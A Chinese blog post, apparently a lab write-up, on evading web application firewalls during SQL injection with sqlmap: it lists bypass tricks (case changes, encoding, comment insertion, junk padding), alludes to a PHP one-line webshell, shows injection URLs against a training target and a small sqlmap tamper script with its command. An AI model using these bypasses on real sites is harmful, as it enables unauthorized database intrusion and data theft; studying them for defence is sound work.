sqlmap绕华夫

0x001 waf介绍

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)
核心目的:防御网站被入侵。
具体手段:检测到你的入侵者,然后拦截你当前访问的页面或者是跳转其他页面,或者是直接禁止你的ip访问。
日常生活中,有些网站不一定安装了WAF,但是他可能会有自己的防护策略,过滤你的恶意传参数据,例如传参不能出现union,不能出现and 1=1等等等
常见的waf:https://www.cnblogs.com/charon1937/p/13799467.html
waf实现的核心机制一般是:正则表达式
绕waf的核心原则是:先在本地搭建环境测试

0x002 常见的绕过手法

1、用其他函数、写法替代 $a=get_defined_functions();$a[‘internal’]841; (这个是一句话木马)
2、大小写绕过(有些老WAF大小写就能绕)
3、替换绕过:有些过滤规则强行删除检测到的代码,然后执行
4、编码绕过:网站因为功能需要有编解码,然后因为WAF不认识编码后的值然后绕过了
5、注释绕过:WAF有的时候会认为注释后的东西是安全的,然后可以尝试hpp
6、白名单绕过:本地访问可能不拦截、管理员权限 (1、文件白名单 )
7、垃圾数据填充:写个一大堆数据,然后传参,WAF只检测其中一部分绕过了

1、4、7是比较常见的

常见替代:
空格替代+(+是因为URL编码) 或者是/**/
sleep() 用 sleep/**/()或者`sleep`()代替

0x003 绕waf的sqlmap脚本编写

这里以机构的靶场为例http://p9kj8014.ia.aqlab.cn/index.php?id=1

①http://p9kj8014.ia.aqlab.cn/index.php?id=1 and 1=1
image
发现被拦截了

②我们发现构造http://p9kj8014.ia.aqlab.cn/index.php?id=1/*order by 1&id=1 order by 2 — qwe*/ 这种特殊的url语句可以帮助我们绕过waf

③开始编写sqlmap的脚本
https://www.webshell.cc/7162.html

#!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): payload=payload + '-- qwe*/' //在所有的url语句后加上-- qwe*/ return payload 

④我们现在就可以用sqlmap跑包了
抓包之后构建语句

sqlmap.py -r maoshe.txt –tamper smart01.py
image

这里要选择no因为我们* 并不算注入点
待更新(sqlmap暂时没有跑出来)
今天还是没有跑出来,因为老师的靶场是搭建在本地的所以环境和我可能还是有差别
image

原文链接:https://www.cnblogs.com/linzexing/p/16074591.html

原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/21825

(0)
上一篇 2024年2月10日 04:42
下一篇 2024年2月10日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

优速盾注册领取大礼包www.cdnb.net
/sitemap.xml